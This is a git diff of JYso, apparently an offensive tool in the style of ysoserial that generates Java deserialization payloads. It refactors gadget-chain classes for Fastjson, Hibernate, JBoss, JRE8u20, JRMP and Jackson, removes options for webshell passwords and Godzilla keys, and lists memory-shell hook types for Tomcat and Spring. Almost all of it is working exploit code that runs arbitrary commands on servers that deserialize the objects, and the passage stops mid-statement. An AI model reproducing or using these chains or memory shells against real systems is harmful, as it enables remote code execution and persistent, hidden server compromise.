requestInitializedHandle - KEY_METHOD_MAP.put("javax.servlet.ServletRequestListener", "requestInitializedHandle"); - // Websocket 型内存马,关键方法 onMessage - KEY_METHOD_MAP.put("javax.websocket.MessageHandler█Whole", "onMessage"); - // Tomcat Upgrade 型内存马,关键方法 accept - KEY_METHOD_MAP.put("org.apache.coyote.UpgradeProtocol", "accept"); - // Tomcat Executor 型内存马,关键方法 execute - KEY_METHOD_MAP.put("org.apache.tomcat.util.threads.ThreadPoolExecutor", "execute"); - // Spring Interceptor 型内存马,关键方法 preHandle - KEY_METHOD_MAP.put("org.springframework.web.servlet.handler.HandlerInterceptorAdapter", "preHandle"); - } - public static void logo() { String logo = " ┏┳┓┏ \n" + " ┃┗┫┏┏┓ \n" + diff --git a/src/main/java/com/qi4l/JYso/gadgets/Config/ysoserial.java b/src/main/java/com/qi4l/JYso/gadgets/Config/ysoserial.java index 49f074a..f12a222 100644 --- a/src/main/java/com/qi4l/JYso/gadgets/Config/ysoserial.java +++ b/src/main/java/com/qi4l/JYso/gadgets/Config/ysoserial.java @@ -17,7 +17,6 @@ import java.nio.file.Paths; import java.util.*; import static com.qi4l.JYso.gadgets.Config.Config.logo; -import static com.qi4l.JYso.gadgets.utils.HexUtils.generatePassword; import static com.qi4l.JYso.gadgets.utils.StringUtil.isFromExploit; public class ysoserial { @@ -52,18 +51,6 @@ public class ysoserial { Config.IS_OBSCURE = true; } - if (cmdLine.hasOption("cmd-header")) { - Config.CMD_HEADER_STRING = cmdLine.getOptionValue("cmd-header"); - } - - if (cmdLine.hasOption("url")) { - String url = cmdLine.getOptionValue("url"); - if (!url.startsWith("/")) { - url = "/" + url; - } - Config.URL_PATTERN = url; - } - if (cmdLine.hasOption("define-class-from-parameter")) { Config.PARAMETER = cmdLine.getOptionValue("define-class-from-parameter"); } @@ -77,23 +64,6 @@ public class ysoserial { Config.BASE64 = true; } - if (cmdLine.hasOption("password")) { - Config.PASSWORD_ORI = cmdLine.getOptionValue("password"); - Config.PASSWORD = generatePassword(Config.PASSWORD_ORI); - } - - if (cmdLine.hasOption("godzilla-key")) { - Config.GODZILLA_KEY = generatePassword(cmdLine.getOptionValue("godzilla-key")); - } - - if (cmdLine.hasOption("header-key")) { - Config.HEADER_KEY = cmdLine.getOptionValue("header-key"); - } - - if (cmdLine.hasOption("header-value")) { - Config.HEADER_VALUE = cmdLine.getOptionValue("header-value"); - } - if (cmdLine.hasOption("no-com-sun")) { Config.FORCE_USING_ORG_APACHE_TEMPLATESIMPL = true; } diff --git a/src/main/java/com/qi4l/JYso/gadgets/Fastjson1.java b/src/main/java/com/qi4l/JYso/gadgets/Fastjson1.java index df8ee70..dfe03fa 100644 --- a/src/main/java/com/qi4l/JYso/gadgets/Fastjson1.java +++ b/src/main/java/com/qi4l/JYso/gadgets/Fastjson1.java @@ -12,6 +12,7 @@ import java.lang.reflect.Field; import java.util.HashMap; +@SuppressWarnings({"rawtypes", "unchecked","unused"}) public class Fastjson1 implements ObjectPayload { @Override public Object getObject(String command) throws Exception { @@ -22,9 +23,12 @@ public class Fastjson1 implements ObjectPayload { CtConstructor constructor = new CtConstructor(new CtClass[]{}, clazz); constructor.setBody("Runtime.getRuntime().exec(\"open -na Calculator\");"); clazz.addConstructor(constructor); - final Object templates; - templates = Gadgets.createTemplatesImpl(command); + Object templates = Gadgets.createTemplatesImpl(command); + return getFastjsonSink(templates); + } + + static Object getFastjsonSink(Object templates) throws Exception { JSONArray jsonArray = new JSONArray(); jsonArray.add(templates); diff --git a/src/main/java/com/qi4l/JYso/gadgets/Fastjson2.java b/src/main/java/com/qi4l/JYso/gadgets/Fastjson2.java deleted file mode 100644 index 3dad3d5..0000000 --- a/src/main/java/com/qi4l/JYso/gadgets/Fastjson2.java +++ /dev/null @@ -1,40 +0,0 @@ -package com.qi4l.JYso.gadgets; - -import com.alibaba.fastjson2.JSONArray; -import com.qi4l.JYso.gadgets.utils.Gadgets; -import com.sun.org.apache.xalan.internal.xsltc.runtime.AbstractTranslet; -import javassist.ClassPool; -import javassist.CtClass; -import javassist.CtConstructor; - -import javax.management.BadAttributeValueExpException; -import java.lang.reflect.Field; -import java.util.HashMap; - - -public class Fastjson2 implements ObjectPayload { - @Override - public Object getObject(String command) throws Exception { - ClassPool pool = ClassPool.getDefault(); - CtClass clazz = pool.makeClass("a"); - CtClass superClass = pool.get(AbstractTranslet.class.getName()); - clazz.setSuperclass(superClass); - CtConstructor constructor = new CtConstructor(new CtClass[]{}, clazz); - constructor.setBody("Runtime.getRuntime().exec(\"open -na Calculator\");"); - clazz.addConstructor(constructor); - final Object templates; - templates = Gadgets.createTemplatesImpl(command); - - JSONArray jsonArray = new JSONArray(); - jsonArray.add(templates); - - BadAttributeValueExpException val = new BadAttributeValueExpException(null); - Field valfield = val.getClass().getDeclaredField("val"); - valfield.setAccessible(true); - valfield.set(val, jsonArray); - - HashMap hashMap = new HashMap(); - hashMap.put(templates, val); - return hashMap; - } -} diff --git a/src/main/java/com/qi4l/JYso/gadgets/FileUpload1.java b/src/main/java/com/qi4l/JYso/gadgets/FileUpload1.java index 6e1eb5c..977c916 100644 --- a/src/main/java/com/qi4l/JYso/gadgets/FileUpload1.java +++ b/src/main/java/com/qi4l/JYso/gadgets/FileUpload1.java @@ -7,26 +7,27 @@ import org.apache.commons.io.output.DeferredFileOutputStream; import org.apache.commons.io.output.ThresholdingOutputStream; import java.io.File; -import java.io.IOException; import java.io.OutputStream; +import java.nio.charset.StandardCharsets; import java.util.Arrays; +@SuppressWarnings({"unused"}) public class FileUpload1 implements ReleaseableObjectPayload { - private static DiskFileItem copyAndDelete(String copyAndDelete, String copyTo) throws IOException, Exception { + private static DiskFileItem copyAndDelete(String copyAndDelete, String copyTo) throws Exception { return makePayload(0, copyTo, copyAndDelete, new byte[1]); } // writes data to a random filename (update__.tmp) - private static DiskFileItem write(String dir, byte[] data) throws IOException, Exception { + private static DiskFileItem write(String dir, byte[] data) throws Exception { return makePayload(data.length + 1, dir, dir + "/whatever", data); } // writes data to an arbitrary file - private static DiskFileItem writePre131(String file, byte[] data) throws IOException, Exception { + private static DiskFileItem writePre131(String file, byte[] data) throws Exception { return makePayload(data.length + 1, file + "\0", file, data); } - private static DiskFileItem makePayload(int thresh, String repoPath, String filePath, byte[] data) throws IOException, Exception { + public static DiskFileItem makePayload(int thresh, String repoPath, String filePath, byte[] data) throws Exception { // if thresh < written length, delete outputFile after copying to repository temp file // otherwise write the contents to repository temp file File repository = new File(repoPath); @@ -49,11 +50,11 @@ public class FileUpload1 implements ReleaseableObjectPayload { if (parts.length == 3 && "copyAndDelete".equals(parts[0])) { return copyAndDelete(parts[1], parts[2]); } else if (parts.length == 3 && "write".equals(parts[0])) { - return write(parts[1], parts[2].getBytes("US-ASCII")); + return write(parts[1], parts[2].getBytes(StandardCharsets.US_ASCII)); } else if (parts.length == 3 && "writeB64".equals(parts[0])) { return write(parts[1], Base64.decodeBase64(parts[2])); } else if (parts.length == 3 && "writeOld".equals(parts[0])) { - return writePre131(parts[1], parts[2].getBytes("US-ASCII")); + return writePre131(parts[1], parts[2].getBytes(StandardCharsets.US_ASCII)); } else if (parts.length == 3 && "writeOldB64".equals(parts[0])) { return writePre131(parts[1], Base64.decodeBase64(parts[2])); } else { diff --git a/src/main/java/com/qi4l/JYso/gadgets/Groovy1.java b/src/main/java/com/qi4l/JYso/gadgets/Groovy1.java index d891a4f..284c2d2 100644 --- a/src/main/java/com/qi4l/JYso/gadgets/Groovy1.java +++ b/src/main/java/com/qi4l/JYso/gadgets/Groovy1.java @@ -11,6 +11,7 @@ import java.util.Map; import static com.qi4l.JYso.gadgets.utils.Utils.createProxy; +@SuppressWarnings({"rawtypes", "unchecked","unused"}) @Dependencies({"org.codehaus.groovy:groovy:2.3.9"}) @Authors({Authors.FROHOFF}) public class Groovy1 implements ObjectPayload { @@ -20,8 +21,6 @@ public class Groovy1 implements ObjectPayload { final Map map = createProxy(closure, Map.class); - final InvocationHandler handler = Gadgets.createMemoizedInvocationHandler(map); - - return handler; + return Gadgets.createMemoizedInvocationHandler(map); } } \ No newline at end of file diff --git a/src/main/java/com/qi4l/JYso/gadgets/Hibernate1.java b/src/main/java/com/qi4l/JYso/gadgets/Hibernate1.java index f0d2e12..168d67d 100644 --- a/src/main/java/com/qi4l/JYso/gadgets/Hibernate1.java +++ b/src/main/java/com/qi4l/JYso/gadgets/Hibernate1.java @@ -38,6 +38,7 @@ import static com.qi4l.JYso.gadgets.utils.Utils.makeMap; * * @author mbechler */ +@SuppressWarnings({"rawtypes", "unchecked","unused"}) @Authors({Authors.MBECHLER}) public class Hibernate1 implements ObjectPayload, DynamicDependencies { @@ -101,16 +102,16 @@ public class Hibernate1 implements ObjectPayload, DynamicDependencies { return arr; } - static Object makeCaller(Object tpl, Object getters) throws NoSuchMethodException, InstantiationException, IllegalAccessException, - InvocationTargetException, NoSuchFieldException, Exception, ClassNotFoundException { + static Object makeCaller(Object tpl, Object getters) throws + Exception { if (System.getProperty("hibernate3") != null) { return makeHibernate3Caller(tpl, getters); } return makeHibernate45Caller(tpl, getters); } - static Object makeHibernate45Caller(Object tpl, Object getters) throws NoSuchMethodException, InstantiationException, IllegalAccessException, - InvocationTargetException, NoSuchFieldException, Exception, ClassNotFoundException { + static Object makeHibernate45Caller(Object tpl, Object getters) throws + Exception { PojoComponentTuplizer tup = Reflections.createWithoutConstructor(PojoComponentTuplizer.class); Reflections.getField(AbstractComponentTuplizer.class, "getters").set(tup, getters); @@ -132,8 +133,8 @@ public class Hibernate1 implements ObjectPayload, DynamicDependencies { return makeMap(v1, v2); } - static Object makeHibernate3Caller(Object tpl, Object getters) throws NoSuchMethodException, InstantiationException, IllegalAccessException, - InvocationTargetException, NoSuchFieldException, Exception, ClassNotFoundException { + static Object makeHibernate3Caller(Object tpl, Object getters) throws + Exception { // Load at runtime to avoid dependency conflicts Class entityEntityModeToTuplizerMappingClass = Class.forName("org.hibernate.tuple.entity.EntityEntityModeToTuplizerMapping"); Class entityModeToTuplizerMappingClass = Class.forName("org.hibernate.tuple.EntityModeToTuplizerMapping"); diff --git a/src/main/java/com/qi4l/JYso/gadgets/Hibernate2.java b/src/main/java/com/qi4l/JYso/gadgets/Hibernate2.java index 0c9111c..b85202b 100644 --- a/src/main/java/com/qi4l/JYso/gadgets/Hibernate2.java +++ b/src/main/java/com/qi4l/JYso/gadgets/Hibernate2.java @@ -34,6 +34,8 @@ import com.sun.rowset.JdbcRowSetImpl; * * @author mbechler */ + +@SuppressWarnings({"unused"}) @Authors({Authors.MBECHLER}) public class Hibernate2 implements ObjectPayload, DynamicDependencies { diff --git a/src/main/java/com/qi4l/JYso/gadgets/Hibernate3JDBC.java b/src/main/java/com/qi4l/JYso/gadgets/Hibernate3JDBC.java index aa7ea89..c3fd8fb 100644 --- a/src/main/java/com/qi4l/JYso/gadgets/Hibernate3JDBC.java +++ b/src/main/java/com/qi4l/JYso/gadgets/Hibernate3JDBC.java @@ -1,6 +1,5 @@ package com.qi4l.JYso.gadgets; -import com.alibaba.fastjson.JSONArray; import com.qi4l.JYso.gadgets.annotation.Authors; import com.qi4l.JYso.gadgets.annotation.Dependencies; import com.qi4l.JYso.gadgets.utils.DynamicDependencies; @@ -8,13 +7,13 @@ import javassist.ClassPool; import javassist.CtClass; import javassist.CtMethod; -import javax.management.BadAttributeValueExpException; -import java.lang.reflect.Field; import java.util.HashMap; import java.util.Map; +import static com.qi4l.JYso.gadgets.Fastjson1.getFastjsonSink; import static com.qi4l.JYso.gadgets.utils.InjShell.insertField; +@SuppressWarnings({"unused"}) @Dependencies({" org.hibernate.hibernate-core:hibernate-core <= 4.1.12.Fina", "com.alibaba.fastjson:com.alibaba.fastjson 1.X"}) @Authors({Authors.UNAM4}) public class Hibernate3JDBC implements ObjectPayload, DynamicDependencies { @@ -47,29 +46,7 @@ public class Hibernate3JDBC implements ObjectPayload, DynamicDependencie clazz.getMethod("configure", Map.class).invoke(o1, map1); - JSONArray jsonArray = new JSONArray(); - jsonArray.add(o1); - - BadAttributeValueExpException val = new BadAttributeValueExpException(null); - Field valfield = val.getClass().getDeclaredField("val"); - valfield.setAccessible(true); - valfield.set(val, jsonArray); - - HashMap hashMap = new HashMap(); - hashMap.put(o1, val); - return hashMap; + return getFastjsonSink(o1); } -// public static void main(String[] args) throws Exception{ -// Hibernate3JDBC hibernate3JDBC = new Hibernate3JDBC(); -// String JDBC_URL = "jdbc:h2:mem:test;MODE=MSSQLServer;init=CREATE TRIGGER shell3 BEFORE SELECT ON\n" + -// "INFORMATION_SCHEMA.TABLES AS $$//javascript\n" + -// "java.lang.Runtime.getRuntime().exec('open .')\n" + -// "$$\n"; -// Object object = hibernate3JDBC.getObject(JDBC_URL); -// ObjectOutputStream outputStream = new ObjectOutputStream(new FileOutputStream("./c3p0")); -// outputStream.writeObject(object); -// outputStream.close(); -// -// } } diff --git a/src/main/java/com/qi4l/JYso/gadgets/JBossInterceptors1.java b/src/main/java/com/qi4l/JYso/gadgets/JBossInterceptors1.java index 7fb6d4f..0e3c76b 100644 --- a/src/main/java/com/qi4l/JYso/gadgets/JBossInterceptors1.java +++ b/src/main/java/com/qi4l/JYso/gadgets/JBossInterceptors1.java @@ -2,27 +2,10 @@ package com.qi4l.JYso.gadgets; import com.qi4l.JYso.gadgets.annotation.Authors; import com.qi4l.JYso.gadgets.annotation.Dependencies; -import com.qi4l.JYso.gadgets.utils.Gadgets; -import com.qi4l.JYso.gadgets.utils.Reflections; -import com.sun.org.apache.xalan.internal.xsltc.trax.TemplatesImpl; -import org.jboss.interceptor.builder.InterceptionModelBuilder; -import org.jboss.interceptor.builder.MethodReference; -import org.jboss.interceptor.proxy.DefaultInvocationContextFactory; -import org.jboss.interceptor.proxy.InterceptorMethodHandler; -import org.jboss.interceptor.reader.ClassMetadataInterceptorReference; -import org.jboss.interceptor.reader.DefaultMethodMetadata; -import org.jboss.interceptor.reader.ReflectiveClassMetadata; -import org.jboss.interceptor.reader.SimpleInterceptorMetadata; -import org.jboss.interceptor.spi.instance.InterceptorInstantiator; -import org.jboss.interceptor.spi.metadata.InterceptorReference; -import org.jboss.interceptor.spi.metadata.MethodMetadata; -import org.jboss.interceptor.spi.model.InterceptionModel; -import org.jboss.interceptor.spi.model.InterceptionType; - -import java.lang.reflect.Constructor; -import java.util.*; +import static com.qi4l.JYso.gadgets.JavassistWeld1.get_chain; +@SuppressWarnings({"unused"}) @Dependencies({"javassist:javassist:3.12.1.GA", "org.jboss.interceptor:jboss-interceptor-core:2.0.0.Final", "javax.enterprise:cdi-api:1.0-SP1", "javax.interceptor:javax.interceptor-api:3.1", "org.jboss.interceptor:jboss-interceptor-spi:2.0.0.Final", "org.slf4j:slf4j-api:1.7.21"}) @@ -30,45 +13,6 @@ import java.util.*; public class JBossInterceptors1 implements ObjectPayload { public Object getObject(String command) throws Exception { - final Object tpl; - tpl = Gadgets.createTemplatesImpl(command); - - InterceptionModelBuilder builder = InterceptionModelBuilder.newBuilderFor(HashMap.class); - ReflectiveClassMetadata metadata = (ReflectiveClassMetadata) ReflectiveClassMetadata.of(HashMap.class); - InterceptorReference interceptorReference = ClassMetadataInterceptorReference.of(metadata); - - Set s = new HashSet(); - s.add(org.jboss.interceptor.spi.model.InterceptionType.POST_ACTIVATE); - - Constructor defaultMethodMetadataConstructor = DefaultMethodMetadata.class.getDeclaredConstructor(Set.class, MethodReference.class); - Reflections.setAccessible(defaultMethodMetadataConstructor); - MethodMetadata methodMetadata = (MethodMetadata) defaultMethodMetadataConstructor.newInstance(s, - MethodReference.of(TemplatesImpl.class.getMethod("newTransformer"), true)); - - List list = new ArrayList(); - list.add(methodMetadata); - Map> hashMap = new HashMap>(); - - hashMap.put(org.jboss.interceptor.spi.model.InterceptionType.POST_ACTIVATE, list); - SimpleInterceptorMetadata simpleInterceptorMetadata = new SimpleInterceptorMetadata(interceptorReference, true, hashMap); - - builder.interceptAll().with(simpleInterceptorMetadata); - - InterceptionModel model = builder.build(); - - HashMap map = new HashMap(); - map.put("ysoserial", "ysoserial"); - - DefaultInvocationContextFactory factory = new DefaultInvocationContextFactory(); - - InterceptorInstantiator interceptorInstantiator = new InterceptorInstantiator() { - - public Object createFor(InterceptorReference paramInterceptorReference) { - - return tpl; - } - }; - - return new InterceptorMethodHandler(map, metadata, model, interceptorInstantiator, factory); + return get_chain(command, null, org.jboss.interceptor.spi.model.InterceptionType.POST_ACTIVATE); } } diff --git a/src/main/java/com/qi4l/JYso/gadgets/JRE8u20.java b/src/main/java/com/qi4l/JYso/gadgets/JRE8u20.java index 8ce2552..f4fe223 100644 --- a/src/main/java/com/qi4l/JYso/gadgets/JRE8u20.java +++ b/src/main/java/com/qi4l/JYso/gadgets/JRE8u20.java @@ -18,7 +18,7 @@ import java.util.Map; import static com.qi4l.JYso.Starter.JYsoMode; -@SuppressWarnings({"unused"}) +@SuppressWarnings({"rawtypes", "unused"}) @Dependencies @Authors({"frohoff"}) public class JRE8u20 implements ObjectPayload { @@ -55,9 +55,9 @@ public class JRE8u20 implements ObjectPayload { TCClassDesc beanContextChildSupportDesc = new TCClassDesc("java.beans.beancontext.BeanContextChildSupport"); beanContextSupportDesc.addField(new TCClassDesc.Field("serializable", int.class)); TCObject.ObjectData beanContextSupportData = new TCObject.ObjectData(); - beanContextSupportData.addData(Integer.valueOf(1)); + beanContextSupportData.addData(1); beanContextSupportData.addData(handler); - beanContextSupportData.addData(Integer.valueOf(0), true); + beanContextSupportData.addData(0, true); beanContextChildSupportDesc.addField(new TCClassDesc.Field("beanContextChildPeer", BeanContextChild.class)); TCObject.ObjectData beanContextChildSupportData = new TCObject.ObjectData(); beanContextChildSupportData.addData(obj); @@ -74,7 +74,7 @@ public class JRE8u20 implements ObjectPayload { public Object getObject(String command) throws Exception { Serialization ser = new Serialization(); Object templates = makeTemplates(command); - HashMap map = new HashMap(); + HashMap map = new HashMap<>(); map.put("f5a5a608", templates); TCObject handler = makeHandler(map, ser); TCObject linkedHashset = new TCObject(ser); @@ -84,9 +84,9 @@ public class JRE8u20 implements ObjectPayload { hashsetDesc.addField(new TCClassDesc.Field("fake", BeanContextSupport.class)); TCObject.ObjectData hashsetData = new TCObject.ObjectData(); hashsetData.addData(makeBeanContextSupport(handler, ser)); - hashsetData.addData(Integer.valueOf(10), true); - hashsetData.addData(Float.valueOf(1.0F), true); - hashsetData.addData(Integer.valueOf(2), true); + hashsetData.addData(10, true); + hashsetData.addData(1.0F, true); + hashsetData.addData(2, true); hashsetData.addData(templates); TCObject proxy = Util.makeProxy(new Class[]{Map.class}, handler, ser); hashsetData.addData(proxy); @@ -100,8 +100,7 @@ public class JRE8u20 implements ObjectPayload { } ByteArrayOutputStream out = new ByteArrayOutputStream(); ser.write(out); - byte[] bytes = out.toByteArray(); - return bytes; + return out.toByteArray(); } } diff --git a/src/main/java/com/qi4l/JYso/gadgets/JRE8u20_2.java b/src/main/java/com/qi4l/JYso/gadgets/JRE8u20_2.java index 869e0ab..30d4b3e 100644 --- a/src/main/java/com/qi4l/JYso/gadgets/JRE8u20_2.java +++ b/src/main/java/com/qi4l/JYso/gadgets/JRE8u20_2.java @@ -18,7 +18,7 @@ import java.util.Map; import static com.qi4l.JYso.gadgets.utils.Utils.createProxy; - +@SuppressWarnings({"rawtypes", "unchecked","unused"}) public class JRE8u20_2 implements ObjectPayload { public static Class newInvocationHandlerClass() throws Exception { ClassPool pool = ClassPool.getDefault(); @@ -27,8 +27,7 @@ public class JRE8u20_2 implements ObjectPayload { " os.defaultWriteObject();\n" + " }", clazz); clazz.addMethod(writeObject); - Class c = clazz.toClass(); - return c; + return clazz.toClass(); } diff --git a/src/main/java/com/qi4l/JYso/gadgets/JRMPClient.java b/src/main/java/com/qi4l/JYso/gadgets/JRMPClient.java index 7acc5cf..9d42884 100644 --- a/src/main/java/com/qi4l/JYso/gadgets/JRMPClient.java +++ b/src/main/java/com/qi4l/JYso/gadgets/JRMPClient.java @@ -40,9 +40,7 @@ import java.util.Random; * * @author mbechler */ -@SuppressWarnings({ - "restriction" -}) +@SuppressWarnings({"unused"}) @Authors({Authors.MBECHLER}) public class JRMPClient implements ObjectPayload { @@ -55,15 +53,14 @@ public class JRMPClient implements ObjectPayload { host = command; } else { host = command.substring(0, sep); - port = Integer.valueOf(command.substring(sep + 1)); + port = Integer.parseInt(command.substring(sep + 1)); } ObjID id = new ObjID(new Random().nextInt()); // RMI registry TCPEndpoint te = new TCPEndpoint(host, port); UnicastRef ref = new UnicastRef(new LiveRef(id, te, false)); RemoteObjectInvocationHandler obj = new RemoteObjectInvocationHandler(ref); - Registry proxy = (Registry) Proxy.newProxyInstance(JRMPClient.class.getClassLoader(), new Class[]{ + return (Registry) Proxy.newProxyInstance(JRMPClient.class.getClassLoader(), new Class[]{ Registry.class }, obj); - return proxy; } } diff --git a/src/main/java/com/qi4l/JYso/gadgets/JRMPClient_Activator.java b/src/main/java/com/qi4l/JYso/gadgets/JRMPClient_Activator.java index 74f302c..f7f04af 100644 --- a/src/main/java/com/qi4l/JYso/gadgets/JRMPClient_Activator.java +++ b/src/main/java/com/qi4l/JYso/gadgets/JRMPClient_Activator.java @@ -11,10 +11,17 @@ import java.rmi.server.ObjID; import java.rmi.server.RemoteObjectInvocationHandler; import java.util.Random; +@SuppressWarnings({"unused"}) @Authors({"mbechler"}) public class JRMPClient_Activator implements ObjectPayload { @Override public Activator getObject(String command) throws Exception { + UnicastRef ref = JRMPSource(command); + RemoteObjectInvocationHandler obj = new RemoteObjectInvocationHandler(ref); + return (Activator) Proxy.newProxyInstance(JRMPClient_Activator.class.getClassLoader(), new Class[]{Activator.class}, obj); + } + + static UnicastRef JRMPSource(String command) { String host; int port, sep = command.indexOf(':'); if (sep < 0) { @@ -22,13 +29,10 @@ public class JRMPClient_Activator implements ObjectPayload { host = command; } else { host = command.substring(0, sep); - port = Integer.valueOf(command.substring(sep + 1)).intValue(); + port = Integer.parseInt(command.substring(sep + 1)); } ObjID id = new ObjID((new Random()).nextInt()); TCPEndpoint te = new TCPEndpoint(host, port); - UnicastRef ref = new UnicastRef(new LiveRef(id, te, false)); - RemoteObjectInvocationHandler obj = new RemoteObjectInvocationHandler(ref); - Activator proxy = (Activator) Proxy.newProxyInstance(JRMPClient_Activator.class.getClassLoader(), new Class[]{Activator.class}, obj); - return proxy; + return new UnicastRef(new LiveRef(id, te, false)); } } diff --git a/src/main/java/com/qi4l/JYso/gadgets/JRMPClient_Obj.java b/src/main/java/com/qi4l/JYso/gadgets/JRMPClient_Obj.java index 6dab555..e0389b3 100644 --- a/src/main/java/com/qi4l/JYso/gadgets/JRMPClient_Obj.java +++ b/src/main/java/com/qi4l/JYso/gadgets/JRMPClient_Obj.java @@ -2,30 +2,15 @@ package com.qi4l.JYso.gadgets; import com.qi4l.JYso.gadgets.annotation.Authors; import sun.rmi.server.UnicastRef; -import sun.rmi.transport.LiveRef; -import sun.rmi.transport.tcp.TCPEndpoint; -import java.rmi.server.ObjID; import java.rmi.server.RemoteObjectInvocationHandler; -import java.util.Random; +@SuppressWarnings({"unused"}) @Authors({"mbechler"}) public class JRMPClient_Obj implements ObjectPayload { @Override public RemoteObjectInvocationHandler getObject(String command) throws Exception { - String host; - int port, sep = command.indexOf(':'); - if (sep < 0) { - port = (new Random()).nextInt(65535); - host = command; - } else { - host = command.substring(0, sep); - port = Integer.valueOf(command.substring(sep + 1)).intValue(); - } - ObjID id = new ObjID((new Random()).nextInt()); - TCPEndpoint te = new TCPEndpoint(host, port); - UnicastRef ref = new UnicastRef(new LiveRef(id, te, false)); - RemoteObjectInvocationHandler obj = new RemoteObjectInvocationHandler(ref); - return obj; + UnicastRef ref = JRMPClient_Activator.JRMPSource(command); + return new RemoteObjectInvocationHandler(ref); } } diff --git a/src/main/java/com/qi4l/JYso/gadgets/JSON1.java b/src/main/java/com/qi4l/JYso/gadgets/JSON1.java index f9b2ab8..6b13449 100644 --- a/src/main/java/com/qi4l/JYso/gadgets/JSON1.java +++ b/src/main/java/com/qi4l/JYso/gadgets/JSON1.java @@ -45,9 +45,7 @@ import static com.qi4l.JYso.gadgets.utils.Utils.*; * * @author mbechler */ -@SuppressWarnings({ - "rawtypes", "unchecked", "restriction" -}) +@SuppressWarnings({"rawtypes", "unchecked","unused"}) @Dependencies({"net.sf.json-lib:json-lib:jar:jdk15:2.4", "org.springframework:spring-aop:4.1.4.RELEASE", // deep deps "aopalliance:aopalliance:1.0", "commons-logging:commons-logging:1.2", "commons-lang:commons-lang:2.6", diff --git a/src/main/java/com/qi4l/JYso/gadgets/Jackson1.java b/src/main/java/com/qi4l/JYso/gadgets/Jackson1.java index badda6b..2d13226 100644 --- a/src/main/java/com/qi4l/JYso/gadgets/Jackson1.java +++ b/src/main/java/com/qi4l/JYso/gadgets/Jackson1.java @@ -11,6 +11,7 @@ import java.util.HashMap; import static com.qi4l.JYso.gadgets.utils.Reflections.setFieldValue; +@SuppressWarnings({"rawtypes", "unchecked","unused"}) // 在触发 getter 的时候是以随机顺序触发的,所以概率打空 public class Jackson1 implements ObjectPayload { @@ -24,7 +25,7 @@ public class Jackson1 implements ObjectPayload { CtMethod writeReplace = ctClass.getDeclaredMethod("writeReplace"); ctClass.removeMethod(writeReplace); ctClass.toClass(); - } catch (Exception EE) { + } catch (Exception ignored) { } diff --git a/src/main/java/com/qi4l/JYso/gadgets/Jackson2.java b/src/main/java/com/qi4l/JYso/gadgets/Jackson2.java index ae1467e..d3e0e28 100644 --- a/src/main/java/com/qi4l/JYso/gadgets/Jackson2.java +++ b/src/main/java/com/qi4l/JYso/gadgets/Jackson2.java @@ -15,6 +15,7 @@ import java.lang.reflect.Proxy; import static com.qi4l.JYso.gadgets.utils.Reflections.setFieldValue; +@SuppressWarnings({"rawtypes", "unused"}) public class Jackson2 implements ObjectPayload { public static Object makeTemplatesImplAopProxy(String cmd) throws Exception { AdvisedSupport advisedSupport = new AdvisedSupport(); @@ -22,8 +23,7 @@ public class Jackson2 implements ObjectPayload { Constructor constructor = Class.forName("org.springframework.aop.framework.JdkDynamicAopProxy").getConstructor(AdvisedSupport.class); constructor.setAccessible(true); InvocationHandler handler = (InvocationHandler) constructor.newInstance(advisedSupport); - Object proxy = Proxy.newProxyInstance(ClassLoader.getSystemClassLoader(), new Class[]{Templates.class}, handler); - return proxy; + return Proxy.newProxyInstance(ClassLoader.getSystemClassLoader(), new Class[]{Templates.class}, handler); } public Object getObject(final String command) throws Exception { @@ -33,7 +33,7 @@ public class Jackson2 implements ObjectPayload { CtMethod writeReplace = ctClass.getDeclaredMethod("writeReplace"); ctClass.removeMethod(writeReplace); ctClass.toClass(); - } catch (Exception EE) { + } catch (Exception ignored) { } POJONode node = new POJONode(makeTemplatesImplAopProxy(command)); diff --git a/src/main/java/com/qi4l/JYso/gadgets/Jackson3.java b/src/main/java/com/qi4l/JYso/gadgets/Jackson3.java index 398b093..50540f0 100644 --- a/src/main/java/com/qi4l/JYso/gadgets/Jackson3.java +++ b/src/main/java/com/qi4l/JYso/gadgets/Jackson3.java @@ -25,13 +25,11 @@ import static com.qi4l.JYso.gadgets.utils.Reflections.setFieldValue; //Jackson2链的JDK17改造 +@SuppressWarnings({"rawtypes", "unchecked","unused"}) @Dependencies({"spring-apo:6.2.10"}) @Authors({Authors.JSJCW}) -public class Jackson3 implements ObjectPayload { - public static Object makeTemplatesImplAopProxy(String cmd) throws Exception { - AdvisedSupport advisedSupport = new AdvisedSupport(); - advisedSupport.setTarget(Gadgets.createTemplatesImpl(cmd)); - +public class Jackson3 implements ObjectPayload { + static InvocationHandler setSuidSource(AdvisedSupport advisedSupport) throws Exception { //<=6.0.23为6115154060221772279 //>=6.1.0 为273003553246259276 String sUID = "273003553246259276"; @@ -39,36 +37,33 @@ public class Jackson3 implements ObjectPayload { "org.springframework.aop.framework.DefaultAdvisorChainFactory", "private static final long serialVersionUID = " + sUID + "L;"); - Object ctFactory = ctDefaultAdvisorChainFactory.toClass(new SuClassLoader()).newInstance(); + Object ctFactory = ctDefaultAdvisorChainFactory.toClass( + new SuClassLoader(),SuClassLoader.class.getProtectionDomain() + ).newInstance(); advisedSupport.setAdvisorChainFactory((AdvisorChainFactory) ctFactory); Constructor constructor = Class.forName("org.springframework.aop.framework.JdkDynamicAopProxy").getConstructor(AdvisedSupport.class); constructor.setAccessible(true); - InvocationHandler handler = (InvocationHandler) constructor.newInstance(advisedSupport); - Object proxy = Proxy.newProxyInstance(ClassLoader.getSystemClassLoader(), new Class[]{Templates.class}, handler); + return (InvocationHandler) constructor.newInstance(advisedSupport); + } - return proxy; + public static Object makeTemplatesImplAopProxy(String cmd) throws Exception { + AdvisedSupport advisedSupport = new AdvisedSupport(); + advisedSupport.setTarget(Gadgets.createTemplatesImpl(cmd)); + + InvocationHandler handler = setSuidSource(advisedSupport); + + + return Proxy.newProxyInstance(ClassLoader.getSystemClassLoader(), new Class[]{Templates.class}, handler); } public static Object makeDatasourceAopProxy(Object templatesImpl) throws Exception { AdvisedSupport advisedSupport = new AdvisedSupport(); advisedSupport.setTarget(templatesImpl); - //<=6.0.23为6115154060221772279 - //>=6.1.0 为273003553246259276 - String sUID = "273003553246259276"; - CtClass ctDefaultAdvisorChainFactory = insertField( - "org.springframework.aop.framework.DefaultAdvisorChainFactory", - "private static final long serialVersionUID = " + sUID + "L;"); + InvocationHandler handler = setSuidSource(advisedSupport); - Object ctFactory = ctDefaultAdvisorChainFactory.toClass(new SuClassLoader()).newInstance(); - advisedSupport.setAdvisorChainFactory((AdvisorChainFactory) ctFactory); - - Constructor constructor = Class.forName("org.springframework.aop.framework.JdkDynamicAopProxy").getConstructor(AdvisedSupport.class); - constructor.setAccessible(true); - InvocationHandler handler = 